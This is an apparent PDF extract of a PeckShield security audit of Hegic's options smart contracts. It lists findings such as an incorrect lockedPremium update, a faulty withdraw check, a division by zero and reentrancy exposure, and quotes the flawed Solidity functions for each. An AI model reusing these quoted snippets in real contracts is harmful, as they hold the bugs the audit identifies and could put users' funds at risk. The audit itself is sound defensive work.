•https://github.com/hegic/hegic-hardcore-beta.git (e22e6f6) And this is the commit ID after all fixes for the issues found in the audit have been checked in: •https://github.com/hegic/hegic-hardcore-beta.git (9387bbc) 1.2 About PeckShield PeckShield Inc. [13] is a leading blockchain security company with the goal of elevating the secu- rity, privacy, and usability of current blockchain ecosystems by offering top-notch, industry-leading servicesandproducts(includingtheserviceofsmartcontractauditing). WearereachableatTelegram (https://t.me/peckshield),Twitter( http://twitter.com/peckshield),orEmail( contact@peckshield.com). Table 1.2: Vulnerability Severity ClassificationImpactHigh Critical High Medium Medium High Medium Low Low Medium Low Low High Medium Low Likelihood 1.3 Methodology To standardize the evaluation, we define the following terminology based on OWASP Risk Rating Methodology [12]: •Likelihood represents how likely a particular vulnerability is to be uncovered and exploited in the wild; •Impact measures the technical loss and business damage of a successful attack; •Severity demonstrates the overall criticality of the risk. 5/27 PeckShield Audit Report #: 2022-056Public Table 1.3: The Full List of Check Items Category Check Item Basic Coding BugsConstructor Mismatch Ownership Takeover Redundant Fallback Function Overflows & Underflows Reentrancy Money-Giving Bug Blackhole Unauthorized Self-Destruct Revert DoS Unchecked External Call Gasless Send Send Instead Of Transfer Costly Loop (Unsafe) Use Of Untrusted Libraries (Unsafe) Use Of Predictable Variables Transaction Ordering Dependence Deprecated Uses Semantic Consistency Checks Semantic Consistency Checks Advanced DeFi ScrutinyBusiness Logics Review Functionality Checks Authentication Management Access Control & Authorization Oracle Security Digital Asset Escrow Kill-Switch Mechanism Operation Trails & Event Generation ERC20 Idiosyncrasies Handling Frontend-Contract Integration Deployment Consistency Holistic Risk Management Additional RecommendationsAvoiding Use of Variadic Byte Array Using Fixed Compiler Version Making Visibility Level Explicit Making Type Inference Explicit Adhering To Function Declaration Strictly Following Other Best Practices 6/27 PeckShield Audit Report #: 2022-056Public Likelihood and impact are categorized into three ratings: H,MandL, i.e.,high,mediumand lowrespectively. Severity is determined by likelihood and impact and can be classified into four categories accordingly, i.e., Critical,High,Medium,Lowshown in Table 1.2. To evaluate the risk, we go through a list of check items and each would be labeled with a severity category. For one check item, if our tool or analysis does not identify any issue, the contract is considered safe regarding the check item. For any discovered issue, we might further deploy contracts on our private testnet and run tests to confirm the findings. If necessary, we would additionally build a PoC to demonstrate the possibility of exploitation. The concrete list of check items is shown in Table 1.3. In particular, we perform the audit according to the following procedure: •BasicCodingBugs: We first statically analyze given smart contracts with our proprietary static code analyzer for known coding bugs, and then manually verify (reject or confirm) all the issues found by our tool. •Semantic Consistency Checks: We then manually check the logic of implemented smart con- tracts and compare with the description in the white paper. •Advanced DeFiScrutiny: We further review business logics, examine system operations, and place DeFi-related aspects under scrutiny to uncover possible pitfalls and/or bugs. •Additional Recommendations: We also provide additional suggestions regarding the coding and development of smart contracts from the perspective of proven programming practices. To better describe each issue we identified, we categorize the findings with Common Weakness Enumeration (CWE-699) [11], which is a community-developed list of software weakness types to better delineate and organize weaknesses around concepts frequently encountered in software devel- opment. Though some categories used in CWE-699 may not be relevant in smart contracts, we use the CWE categories in Table 1.4 to classify our findings. 1.4 Disclaimer Note that this security audit is not designed to replace functional tests required before any software release, and does not give any warranties on finding all possible security issues of the given smart contract(s) or blockchain software, i.e., the evaluation result does not guarantee the nonexistence of any further findings of security issues. As one audit-based assessment cannot be considered comprehensive, we always recommend proceeding with several independent audits and a public bug bounty program to ensure the security of smart contract(s). Last but not least, this security audit should not be used as investment advice. 7/27 PeckShield Audit Report #: 2022-056Public Table 1.4: Common Weakness Enumeration (CWE) Classifications Used in This Audit Category Summary Configuration Weaknesses in this category are typically introduced during the configuration of the software. Data Processing Issues Weaknesses in this category are typically found in functional- ity that processes data. Numeric Errors Weaknesses in this category are related to improper calcula- tion or conversion of numbers. Security Features Weaknesses in this category are concerned with topics like authentication, access control, confidentiality, cryptography, and privilege management. (Software security is not security software.) Time and State Weaknesses in this category are related to the improper man- agement of time and state in an environment that supports simultaneous or near-simultaneous computation by multiple systems, processes, or threads. Error Conditions, Return Values, Status CodesWeaknesses in this category include weaknesses that occur if a function does not generate the correct return/status code, or if the application does not handle all possible return/status codes that could be generated by a function. Resource Management Weaknesses in this category are related to improper manage- ment of system resources. Behavioral Issues Weaknesses in this category are related to unexpected behav- iors from code that an application uses. Business Logics Weaknesses in this category identify some of the underlying problems that commonly allow attackers to manipulate the business logic of an application. Errors in business logic can be devastating to an entire application. Initialization and Cleanup Weaknesses in this category occur in behaviors that are used for initialization and breakdown. Arguments and Parameters Weaknesses in this category are related to improper use of arguments or parameters within function calls. Expression Issues Weaknesses in this category are related to incorrectly written expressions within code. Coding Practices Weaknesses in this category are related to coding practices that are deemed unsafe and increase the chances that an ex- ploitable vulnerability will be present in the application. They may not directly introduce a vulnerability, but indicate the product has not been carefully developed or maintained. 8/27 PeckShield Audit Report #: 2022-056Public 2 | Findings 2.1 Summary Here is a summary of our findings after analyzing the design and implementation of the Hegicprotocol smart contracts. During the first phase of our audit, we study the smart contract source code and run our in-house static code analyzer through the codebase. The purpose here is to statically identify known coding bugs, and then manually verify (reject or confirm) issues reported by our tool. We further manually review business logics, examine system operations, and place DeFi-related aspects under scrutiny to uncover possible pitfalls and/or bugs. Severity # of Findings Critical 0 High 1 Medium 2 Low 4 Informational 1 Undetermined 1 Total 9 Wehavesofaridentifiedalistofpotentialissues: someoftheminvolvesubtlecornercasesthatmight not be previously thought of, while others refer to unusual interactions among multiple contracts. For each uncovered issue, we have therefore developed test cases for reasoning, reproduction, and/or verification. After further analysis and internal discussion, we determined a few issues of varying severities need to be brought up and paid more attention to, which are categorized in the above table. More information can be found in the next subsection, and the detailed discussions of each of them are in Section 3. 9/27 PeckShield Audit Report #: 2022-056Public 2.2 Key Findings Overall, these smart contracts are well-designed and engineered, though the implementation can be improvedbyresolvingtheidentifiedissues(showninTable2.1), including 1high-severityvulnerability, 2medium-severity vulnerabilities, 4low-severity vulnerabilities, 1informational recommendation, and 1undetermined issue. Table 2.1: Key Audit Findings ID Severity Title Category Status PVE-001 Low Inconsistent Implementation Of _calcu- latePeriodFee()Coding Practices Resolved PVE-002 Low Non-Functional Logic Of HegicStake- AndCover::provide()Business Logic Resolved PVE-003 Low Arithmetic Underflow Avoidance In HegicOperationalTreasury::_replenish()Numeric Errors Resolved PVE-004 High Incorrect lockedPremium Up- date In HegicOperationalTrea- sury::lockLiquidityFor()Business Logic Resolved PVE-005 Medium Incorrect withdraw Logic In HegicOper- ationalTreasuryBusiness Logic Resolved PVE-006 Informational Accommodation of Non-ERC20- Compliant TokensBusiness Logic Resolved PVE-007 Medium Trust Issue of Admin Keys Security Features Confirmed PVE-008 Low Improved Sanity Checks For System/- Function ParametersCoding Practices Resolved PVE-009 Undetermined Improved Reentrancy Protection In HegicPoolTime and State Resolved Beside the identified issues, we emphasize that for any user-facing applications and services, it is always important to develop necessary risk-control mechanisms and make contingency plans, which may need to be exercised before the mainnet deployment. The risk-control mechanisms should kick in at the very moment when the contracts are being deployed on mainnet. Please refer to Section 3 for details. 10/27 PeckShield Audit Report #: 2022-056Public 3 | Detailed Results 3.1 Inconsistent Implementation Of _calculatePeriodFee() •ID: PVE-001 •Severity: Low •Likelihood: Low •Impact: High•Target: PriceCalculator/PriceCalculatorUtilization •Category: Coding Practices [8] •CWE subcategory: CWE-1126 [1] Description In the Hegicprotocol, both the PriceCalculator contract and the PriceCalculatorUtilization contract implement the _calculatePeriodFee() function to calculate and price the time value of an option. While reviewing the implementations of the _calculatePeriodFee() routine in both contract, we notice that there exists certain inconsistency that can be resolved. To elaborate, we show below the code snippet of the _calculatePeriodFee function defined in both contracts. It comes to our attention that the divisor used in the PriceCalculator contract to calculate the period fee is defined as 1e18(i.e., IVL_DECIMALS ) while the divisor used in the PriceCalculatorUtilization contracttocalculatetheperiodfeeisdefinedas 1e16(i.e., PRICE_DECIMALS * PRICE_MODIFIER_DECIMALS ). 119 /** 120 * @notice Calculates and prices in the time value of the option 121 * @param amount Option size 122 * @param period The option period in seconds (1 days <= period <= 90 days ) 123 * @return fee The premium size to be paid 124 **/ 125 function _calculatePeriodFee ( uint256 amount , uint256 period ) 126 internal 127 view 128 virtual 129 returns ( uint256 fee) 130 { 11/27 PeckShield Audit Report #: 2022-056Public 131 return 132 ( amount * impliedVolRate * period . sqrt ()) / 133 // priceDecimals / 134 IVL_DECIMALS ; 135 } Listing 3.1: PriceCalculator::_calculatePeriodFee() 106 /** 107 * @notice Calculates and prices in the time value of the option 108 * @param amount Option size 109 * @param period The option period in seconds (1 days <= period <= 90 days ) 110 * @return fee The premium size to be paid 111 **/ 112 function _calculatePeriodFee ( uint256 amount , uint256 period ) 113 internal 114 view 115 virtual 116 returns ( uint256 fee) 117 { 118 return 119 ( amount * _priceModifier ( amount , period , pool )) / 120 PRICE_DECIMALS / 121 PRICE_MODIFIER_DECIMALS ; 122 } Listing 3.2: PriceCalculatorUtilization::_calculatePeriodFee() Recommendation Ensure that the divisors used in both contracts to calculate the period fee are consistent. Status This issue has been resolved as the team confirms that they are different contracts and the PriceCalculator contract is only used for experimental purpose. 12/27 PeckShield Audit Report #: 2022-056Public 3.2 Non-Functional Logic Of HegicStakeAndCover::provide() •ID: PVE-002 •Severity: Low •Likelihood: High •Impact: N/A•Target: HegicStakeAndCover •Category: Business Logic [9] •CWE subcategory: CWE-841 [5] Description The HegicStakeAndCover contract provides an external provide() function for users to deposit tokens into the contract. Users need to deposit hegicToken and baseToken at the same time. The amount of hegicToken to be deposited is provided by the user and the amount of baseToken to be deposited relies on the amount of hegicToken to be deposited. While examining the routine, we notice the current implementation logic may not work as expected. To elaborate, we show below its code snippet. Specifically, the execution of (amount * baseToken .balanceOf(address(this)))/ totalBalance will always revert (line 186) since the initial value of totalBalance is equal to 0. 183 /** 184 * @notice Used for depositing tokens into the contract 185 * @param amount The amount of tokens 186 **/ 187 function provide ( uint256 amount ) external { 188 if ( profitOf ( msg. sender ) > 0) claimProfit (); 189 uint256 liquidityShare = 190 ( amount * baseToken . balanceOf ( address ( this ))) / totalBalance ; 191 balanceOf [ msg . sender ] += amount ; 192 startBalance [ msg . sender ] = shareOf (msg . sender ); 193 totalBalance += amount ; 194 hegicToken . transferFrom ( msg . sender , address ( this ), amount ); 195 baseToken . transferFrom ( msg . sender , address ( this ), liquidityShare ); 196 emit Provided (msg. sender , amount , liquidityShare ); 197 } Listing 3.3: HegicStakeAndCover::provide() Note a number of routines in the same contract can be similarly improved, including shareOf() , profitOf() , and _withdraw() . Recommendation Take into consideration the scenario where the initial value of totalBalance is equal to 0. Status This issue has been fixed in the following commit: 2da5c7d. 13/27 PeckShield Audit Report #: 2022-056Public 3.3 Arithmetic Underflow Avoidance In HegicOperationalTreasury::_replenish() •ID: PVE-003 •Severity: Low •Likelihood: Low •Impact: Low•Target: HegicOperationalTreasury •Category: Numeric Errors [10] •CWE subcategory: CWE-190 [2] Description The HegicOperationalTreasury contract provides a privileged function (i.e., replenish() ) for the admin (with the DEFAULT_ADMIN_ROLE ) to replenish baseToken for the HegicOperationalTreasury con- tract by sending the required amount of baseToken from the HegicStakeAndCover contract to the HegicOperationalTreasury contract. While examining the routine, we notice the current implementa- tion logic can be improved. To elaborate, we show below the code snippet of the replenish()/_replenish() functions. Specifi- cally, ifthevalueof benchmark islessthan totalBalance , theexecutionof benchmark + additionalAmount - totalBalance + lockedPremium will revert (line 181). We point out that if there is a sequence of additionandsubtractionoperations, itisalwaysbettertocalculatetheadditionbeforethesubtraction (on the condition without introducing any extra overflows). 70 /** 71 * @notice Used for replenishing of 72 * the Hegic Operational Treasury contract 73 **/ 74 function replenish () external onlyRole ( DEFAULT_ADMIN_ROLE ) { 75 _replenish (0) ; 76 } Listing 3.4: HegicOperationalTreasury::replenish() 179 function _replenish ( uint256 additionalAmount ) internal { 180 uint256 transferAmount = 181 benchmark + additionalAmount - totalBalance + lockedPremium ; 182 stakeandcoverPool . payOut ( transferAmount ); 183 totalBalance += transferAmount ; 184 emit Replenished ( transferAmount ); 185 } Listing 3.5: HegicOperationalTreasury::_replenish() Recommendation Revise the above calculation to better mitigate possible execution revert. Status This issue has been fixed in the following commit: 2da5c7d. 14/27 PeckShield Audit Report #: 2022-056Public 3.4 Incorrect lockedPremium Update In HegicOperationalTreasury::lockLiquidityFor() •ID: PVE-004 •Severity: High •Likelihood: High •Impact: High•Target: HegicOperationalTreasury •Category: Business Logic [9] •CWE subcategory: CWE-841 [5] Description The HegicOperationalTreasury contractprovidesanexternal lockLiquidityFor() functionforprivileged STRATEGY_ROLE to lock liquidity for an active option strategy. Our analysis with this routine shows its current implementation is not correct. To elaborate, we show below its code snippet. It comes to our attention that the state variable lockedPremium is not updated in the correct order. Specifically, the update for the state variable lockedPremium should precede the calculation of variable availableBalance (lines 91-92). 78 /** 79 * @notice Used for locking liquidity in an active options strategy 80 * @param holder The option strategy holder address 81 * @param amount The amount of options strategy contract 82 * @param expiration The options strategy expiration time 83 **/ 84 function lockLiquidityFor ( 85 address holder , 86 uint128 amount , 87 uint32 expiration 88 ) external override onlyRole ( STRATEGY_ROLE ) returns ( uint256 optionID ) { 89 totalLocked += amount ; 90 uint128 premium = uint128 ( _addTokens ()); 91 uint256 availableBalance = 92 totalBalance + stakeandcoverPool . availableBalance () - lockedPremium ; 93 require ( totalLocked <= availableBalance , "The amount is too large "); 94 require ( 95 block . timestamp + maxLockupPeriod >= expiration , 96 " The period is too long " 97 ); 98 lockedPremium += premium ; 99 lockedByStrategy [ msg . sender ] += amount ; 100 optionID = manager . createOptionFor ( holder ); 101 lockedLiquidity [ optionID ] = LockedLiquidity ( 102 LockedLiquidityState . Locked , 103 msg . sender , 104 amount , 105 premium , 106 expiration 15/27 PeckShield Audit Report #: 2022-056Public 107 ); 108 } Listing 3.6: HegicOperationalTreasury::lockLiquidityFor() Recommendation Timely update the state variable lockedPremium . Status This issue has been fixed in the following commit: 2da5c7d. 3.5 Incorrect withdraw Logic In HegicOperationalTreasury •ID: PVE-005 •Severity: Medium •Likelihood: High •Impact: Medium•Target: HegicOperationalTreasury •Category: Business Logic [9] •CWE subcategory: CWE-841 [5] Description The HegicOperationalTreasury contract provides an external function (i.e., withdraw() ) for privileged DEFAULT_ADMIN_ROLE to withdraw deposited tokens from the contract. Our analysis with this routine shows its current implementation is not correct. To elaborate, we show below the code snippet of the withdraw()/_withdraw() functions. Its logic is rather straightforward in deducting the withdrawn amount from the internal record and transfer the tokens to the withdrawer. However, the imposed requirement is not correct. Specifically, the requirement require(amount + totalLocked <= totalBalance) should be revised as require(amount + totalLocked + lockedPremium <= taotalBalance + stakeandcoverPool.availableBalance()) , so that the contract keeps a guaranteed amount of tokens for the Hegicprotocol users. 57 /** 58 * @notice Used for withdrawing deposited 59 * tokens from the contract 60 * @param to The recipient address 61 * @param amount The amount to withdraw 62 **/ 63 function withdraw ( address to , uint256 amount ) 64 external 65 onlyRole ( DEFAULT_ADMIN_ROLE ) 66 { 67 _withdraw (to , amount ); 68 } Listing 3.7: HegicOperationalTreasury::withdraw() 16/27 PeckShield Audit Report #: 2022-056Public 205 function _withdraw ( address to , uint256 amount ) private { 206 require ( amount + totalLocked <= totalBalance ); 207 totalBalance -= amount ; 208 token . transfer (to , amount ); 209 } Listing 3.8: HegicOperationalTreasury::_withdraw() Recommendation Revise the require statement to make sure the contract keeps a guaranteed amount of tokens for the Hegicprotocol users after the withdraw operation. Status This issue has been fixed in the following commit: 83aa7e1. 3.6 Accommodation of Non-ERC20-Compliant Tokens •ID: PVE-006 •Severity: Informational •Likelihood: N/A •Impact: N/A•Target: Multiple contracts •Category: Business Logic [9] •CWE subcategory: CWE-841 [5] Description Though there is a standardized ERC-20 specification, many token contracts may not strictly follow the specification or have additional functionalities beyond the specification. In the following, we examine the transfer() routine and related idiosyncrasies from current widely-used token contracts. In particular, we use the popular token, i.e., ZRX, as our example. We show the related code snippet below. On its entry of transfer() , there is a check, i.e., if (balances[msg.sender] >= _value && balances[_to] + _value >= balances[_to]) . If the check fails, it returns false. However, the transaction still proceeds successfully without being reverted. This is not compliant with the ERC20 standard and may cause issues if not handled properly. Specifically, the ERC20 standard specifies the following: “Transfers _value amount of tokens to address _to, and MUST fire the Transfer event. The function SHOULD throw if the message caller’s account balance does not have enough tokens to spend.” 64 function t r a n s f e r (address _to , uint _value ) r e t u r n s (bool ) { 65 // Default assumes totalSupply can ’t be over max (2^256 - 1). 66 i f( b a l a n c e s [ msg.sender ] >= _value && b a l a n c e s [ _to ] + _value >= b a l a n c e s [ _to ] ) { 67 b a l a n c e s [ msg.sender ]−= _value ; 68 b a l a n c e s [ _to ] += _value ; 69 Transfer (msg.sender , _to , _value ) ; 70 return true ; 71 }e l s e {return f a l s e ; } 72 } 17/27 PeckShield Audit Report #: 2022-056Public 74 function t r a n s f e r F r o m ( address _from , address _to , uint _value ) r e t u r n s (bool ) { 75 i f( b a l a n c e s [ _from ] >= _value && a l l o w e d [ _from ] [ msg.sender ] >= _value && b a l a n c e s [ _to ] + _value >= b a l a n c e s [ _to ] ) { 76 b a l a n c e s [ _to ] += _value ; 77 b a l a n c e s [ _from ] −= _value ; 78 a l l o w e d [ _from ] [ msg.sender ]−= _value ; 79 Transfer ( _from , _to , _value ) ; 80 return true ; 81 }e l s e {return f a l s e ; } 82 } Listing 3.9: ZRX.sol Because of that, a normal call to transfer() is suggested to use the safe version, i.e., safeTransfer (), In essence, it is a wrapper around ERC20 operations that may either throw on failure or return false without reverts. Moreover, the safe version also supports tokens that return no value (and instead revert or throw on failure). Note that non-reverting calls are assumed to be successful. Similarly, there is a safe version of transferFrom() as well, i.e., safeTransferFrom() . In current implementation, if we examine the HegicOperationalTreasury::_withdraw() routine that is designed to withdraw tokenfrom the contract. To accommodate the specific idiosyncrasy, there is a need to user safeTransfer() , instead of transfer() (line 208). 205 function _withdraw ( address to , uint256 amount ) private { 206 require ( amount + totalLocked <= totalBalance ); 207 totalBalance -= amount ; 208 token . transfer (to , amount ); 209 } Listing 3.10: HegicOperationalTreasury::_withdraw() Note this issue is also applicable to other routines, including transfer()/payOut()/_withdraw()/ providd() from the HegicStakeAndCover contract. Recommendation Accommodate the above-mentioned idiosyncrasy about ERC20-related transfer()/transferFrom() . Status This issue has been fixed in the following commit: 83aa7e1. 18/27 PeckShield Audit Report #: 2022-056Public 3.7 Trust Issue of Admin Keys •ID: PVE-007 •Severity: Medium •Likelihood: Low •Impact: High•Target: Multiple contracts •Category: Security Features [6] •CWE subcategory: CWE-287 [3] Description Inthe Hegicprotocol,therearefiveprivilegedaccounts,i.e., owner,DEFAULT_ADMIN_ROLE ,HEGIC_POOL_ROLE ,STRATEGY_ROLE , and SELLER_ROLE . These accounts play a critical role in governing and regulating the protocol-wide operations (e.g., withdraw tokens from the HegicOperationalTreasury contract, re- plenish tokens for the HegicOperationalTreasury contract, withdraw the deposited tokens from the HegicStakeAndCover contract, disablewithdrawingtokensfromthe HegicStakeAndCover contract, create option for a specified account, lock liquidity, sell option, and set the key parameters, etc.). In the following, we use the HegicOperationalTreasury contract as an example and show the representative functions potentially affected by the privileges of the DEFAULT_ADMIN_ROLE/STRATEGY_ROLE accounts. 57 /** 58 * @notice Used for withdrawing deposited 59 * tokens from the contract 60 * @param to The recipient address 61 * @param amount The amount to withdraw 62 **/ 63 function withdraw ( address to , uint256 amount ) 64 external 65 onlyRole ( DEFAULT_ADMIN_ROLE ) 66 { 67 _withdraw (to , amount ); 68 } 69 70 /** 71 * @notice Used for replenishing of 72 * the Hegic Operational Treasury contract 73 **/ 74 function replenish () external onlyRole ( DEFAULT_ADMIN_ROLE ) { 75 _replenish (0) ; 76 } 77 78 /** 79 * @notice Used for locking liquidity in an active options strategy 80 * @param holder The option strategy holder address 81 * @param amount The amount of options strategy contract 82 * @param expiration The options strategy expiration time 19/27 PeckShield Audit Report #: 2022-056Public 83 **/ 84 function lockLiquidityFor ( 85 address holder , 86 uint128 amount , 87 uint32 expiration 88 ) external override onlyRole ( STRATEGY_ROLE ) returns ( uint256 optionID ) { 89 totalLocked += amount ; 90 uint128 premium = uint128 ( _addTokens ()); 91 uint256 availableBalance = 92 totalBalance + stakeandcoverPool . availableBalance () - lockedPremium ; 93 require ( totalLocked <= availableBalance , "The amount is too large "); 94 require ( 95 block . timestamp + maxLockupPeriod >= expiration , 96 " The period is too long " 97 ); 98 lockedPremium += premium ; 99 lockedByStrategy [ msg . sender ] += amount ; 100 optionID = manager . createOptionFor ( holder ); 101 lockedLiquidity [ optionID ] = LockedLiquidity ( 102 LockedLiquidityState . Locked , 103 msg . sender , 104 amount , 105 premium , 106 expiration 107 ); 108 } 109 110 /** 111 * @notice Used for setting the initial 112 * contract benchmark for calculating 113 * future profits or losses 114 * @param value The benchmark value 115 **/ 116 function setBenchmark ( uint256 value ) external onlyRole ( DEFAULT_ADMIN_ROLE ) { 117 benchmark = value ; 118 } Listing 3.11: HegicOperationalTreasury::withdraw()/replenish()/lockLiquidityFor()/setBenchmark() 187 /** 188 * @notice Used for adding deposited tokens 189 * (e.g. premiums ) to the contract ’s totalBalance 190 * @param amount The amount of tokens to add 191 **/ 192 function addTokens () 193 public 194 onlyRole ( DEFAULT_ADMIN_ROLE ) 195 returns ( uint256 amount ) 196 { 197 return _addTokens (); 198 } Listing 3.12: HegicOperationalTreasury::addTokens() 20/27 PeckShield Audit Report #: 2022-056Public The first function withdraw() allows for the DEFAULT_ADMIN_ROLE to withdraw tokens from the HegicOperationalTreasury contract. Thesecondfunction replenish() allowsforthe DEFAULT_ADMIN_ROLE toreplenish baseToken forthe HegicOperationalTreasury contract. Thethirdfunction lockLiquidityFor ()allows for the STRATEGY_ROLE to lock liquidity for an active option strategy. The fourth function setBenchmark() allowsforthe DEFAULT_ADMIN_ROLE tosetthe benchmark forthe HegicOperationalTreasury contract. And the fifth function function addTokens() allows for the DEFAULT_ADMIN_ROLE to add de- posited tokens (e.g. premiums) to the contract’s totalBalance. We understand the need of the privileged functions for proper contract operations, but at the same time the extra power to the privileged accounts may also be a counter-party risk to the contract users. Therefore, we list this concern as an issue here from the audit perspective and highly recommend making these privileges explicit or raising necessary awareness among protocol users. Recommendation Make the list of extra privileges granted to privileged accounts explicit to Hegicprotocol users Status This issue has been confirmed. 3.8 Improved Sanity Checks For System/Function Parameters •ID: PVE-008 •Severity: Low •Likelihood: Low •Impact: Low•Target: HegicPool •Category: Coding Practices [8] •CWE subcategory: CWE-1126 [1] Description DeFi protocols typically have a number of system-wide parameters that can be dynamically config- ured on demand. The Hegicprotocol is no exception. Specifically, if we examine the HegicPool contract, it has defined a number of protocol-wide risk parameters, such as maxDepositAmount , collateralizationRatio , and pricer. In the following, we show the corresponding routines that allow for their changes. 97 /** 98 * @notice Used for setting the total maximum amount 99 * that could be deposited into the pools contracts . 100 * Note that different total maximum amounts could be set 101 * for the hedged and unhedged - classic - liquidity tranches . 102 * @param total Maximum amount of assets in the pool 103 * in hedged and unhedged ( classic ) liquidity tranches combined 104 **/ 105 function setMaxDepositAmount ( uint256 total ) 21/27 PeckShield Audit Report #: 2022-056Public 106 external 107 onlyRole ( DEFAULT_ADMIN_ROLE ) 108 { 109 maxDepositAmount = total ; 110 } Listing 3.13: HegicPool::setMaxDepositAmount() 133 /** 134 * @notice Used for setting the collateralization ratio for the option 135 * collateral size that will be locked at the moment of buying them . 136 * 137 * Example : if ‘ CollateralizationRatio ‘ = 50, then 50% of an option ’s 138 * notional size will be locked in the pools at the moment of buying it: 139 * say , 1 ETH call option will be collateralized with 0.5 ETH (50%) . 140 * Note that if an option holder ’s net P&L USD value (as options 141 * are cash - settled ) will exceed the amount of the collateral locked 142 * in the option , she will receive the required amount at the moment 143 * of exercising the option using the pool ’s unutilized ( unlocked ) funds . 144 * @param value The collateralization ratio in a range of 30% - 50% 145 **/ 146 function setCollateralizationRatio ( uint256 value ) 147 external 148 onlyRole ( DEFAULT_ADMIN_ROLE ) 149 { 150 collateralizationRatio = value ; 151 } Listing 3.14: HegicPool::setCollateralizationRatio() 231 /** 232 * @notice Used for setting the price calculator 233 * contract that will be used for pricing the options . 234 * @param pc A new price calculator contract address 235 **/ 236 function setPriceCalculator ( IPriceCalculator pc) 237 public 238 onlyRole ( DEFAULT_ADMIN_ROLE ) 239 { 240 pricer = pc; 241 } Listing 3.15: HegicPool::setPriceCalculator() These parameters define various aspects of the protocol operation and maintenance and need to exercise extra care when configuring or updating them. Our analysis shows the update logic on these parameters can be improved by applying more rigorous sanity checks. Based on the current implementation, certain corner cases may lead to an undesirable consequence. For example, an unlikely mis-configuration of collateralizationRatio may lock an unreasonable amount of option collateral at the moment of buying the option. 22/27 PeckShield Audit Report #: 2022-056Public Recommendation Validateanychangesregardingthesesystem-wideparameterstoensurethey fall in an appropriate range. If necessary, also consider emitting relevant events for their changes. Status This issue has been fixed in the following commit: 2da5c7d. 3.9 Improved Reentrancy Protection In HegicPool •ID: PVE-009 •Severity: Undetermined •Likelihood: Low •Impact: Low•Target: HegicPool •Category: Time and State [7] •CWE subcategory: CWE-362 [4] Description In the HegicPool contract, we notice the exercise() function is used to exercise the ITM(in-the- money) option contract in case of having the unrealized profits accrued during the period of holding the option contract. Our analysis shows there is a potential reentrancy issue in the function. To elaborate, we show below the code snippet of the exercise() function. In the function, the _send()function will be called (line 266) to transfer tokenfrom the pool to the owner of the option. If the tokenfaithfully implements the ERC777-like standard, then the exercise() routine is vulnerable to reentrancy and this risk needs to be properly mitigated. Specifically, the ERC777 standard normalizes the ways to interact with a token contract while remaining backward compatible with ERC20. Among various features, it supports send/receive hooks to offer token holders more control over their tokens. Specifically, when transfer() ortransferFrom ()actions happen, the owner can be notified to make a judgment call so that she can control (or even reject) which token they send or receive by correspondingly registering tokensToSend() and tokensReceived() hooks. Consequently, any transfer() ortransferFrom() of ERC777-based tokens might introduce the chance for reentrancy or hook execution for unintended purposes (e.g., mining GasTokens). In our case, the above hook can be planted in token.safeTransfer(to, transferAmount) (line 274) beforetheactualtransferoftheunderlyingassetsoccurs. Sofar, wealsodonotknowhowanattacker can exploit this issue to earn profit. After internal discussion, we consider it is necessary to bring this issue up to the team. Though the implementation of the exercise() function is well designed and meets the Checks-Effects-Interactions pattern, we may intend to use the ReentrancyGuard:: nonReentrant modifier to protect the exercise() and sellOption() functions at the whole protocol level. 243 /** 23/27 PeckShield Audit Report #: 2022-056Public 244 * @notice Used for exercising the ITM (in -the - money ) 245 * options contracts in case of having the unrealized profits 246 * accrued during the period of holding the option contract . 247 * @param id ID of ERC721 token linked to the option 248 **/ 249 function exercise ( uint256 id) external override { 250 Option storage option = options [id ]; 251 uint256 profit = _profitOf ( option ); 252 require ( 253 optionsManager . isApprovedOrOwner ( _msgSender () , id), 254 " Pool Error : msg . sender can ’t exercise this option " 255 ); 256 require ( 257 option . expired > block . timestamp , 258 " Pool Error : The option has already expired " 259 ); 260 require ( 261 profit > 0, 262 " Pool Error : There are no unrealized profits for this option " 263 ); 264 _unlock ( option ); 265 option . state = OptionState . Exercised ; 266 _send ( optionsManager . ownerOf (id), profit ); 267 emit Exercised (id , profit ); 268 } 269 270 function _send ( address to , uint256 transferAmount ) private { 271 require (to != address (0)); 272 273 totalBalance -= transferAmount ; 274 token . safeTransfer (to , transferAmount ); 275 } Listing 3.16: HegicPool::exercise()/_send() Recommendation Apply the non-reentrancy protection in all above-mentioned routines. Status This issue has been fixed in the following commit: 9387bbc. 24/27 PeckShield Audit Report #: 2022-056Public 4 | Conclusion In this audit, we have analyzed the Hegicdesign and implementation. The Hegicprotocol is an on- chain peer-to-pool options trading protocol built on Ethereum. The current code base is well organized and those identified issues are promptly confirmed and addressed. Meanwhile, we need to emphasize that Solidity-based smart contracts as a whole are still in an early, but exciting stage of development. To improve this report, we greatly appreciate any constructive feedbacks or suggestions, on our methodology, audit findings, or potential gaps in scope/coverage. 25/27 PeckShield Audit Report #: 2022-056Public References [1] MITRE. CWE-1126: Declaration of Variable with Unnecessarily Wide Scope. https://cwe. mitre.org/data/definitions/1126.html. [2] MITRE. CWE-190: Integer Overflow or Wraparound. https://cwe.mitre.org/data/definitions/ 190.html. [3] MITRE. CWE-287: ImproperAuthentication. https://cwe.mitre.org/data/definitions/287.html. [4] MITRE. CWE-362: ConcurrentExecutionusingSharedResourcewithImproperSynchronization (’Race Condition’). https://cwe.mitre.org/data/definitions/362.html. [5] MITRE. CWE-841: Improper Enforcement of Behavioral Workflow. https://cwe.mitre.org/ data/definitions/841.html. [6] MITRE. CWE CATEGORY: 7PK - Security Features. https://cwe.mitre.org/data/definitions/ 254.html. [7] MITRE. CWE CATEGORY: 7PK - Time and State. https://cwe.mitre.org/data/definitions/ 361.html. [8] MITRE. CWE CATEGORY: Bad Coding Practices. https://cwe.mitre.org/data/definitions/ 1006.html. [9] MITRE. CWE CATEGORY: Business Logic Errors. https://cwe.mitre.org/data/definitions/ 840.html. 26/27 PeckShield Audit Report #: 2022-056Public [10] MITRE. CWE CATEGORY: Numeric Errors. https://cwe.mitre.org/data/definitions/189.html. [11] MITRE. CWE VIEW: Development Concepts. https://cwe.mitre.org/data/definitions/699. html. [12] OWASP. Risk Rating Methodology. https://www.owasp.org/index.php/OWASP_Risk_ Rating_Methodology. [13] PeckShield. PeckShield Inc. https://www.peckshield.com. 27/27 PeckShield Audit Report #: 2022-056
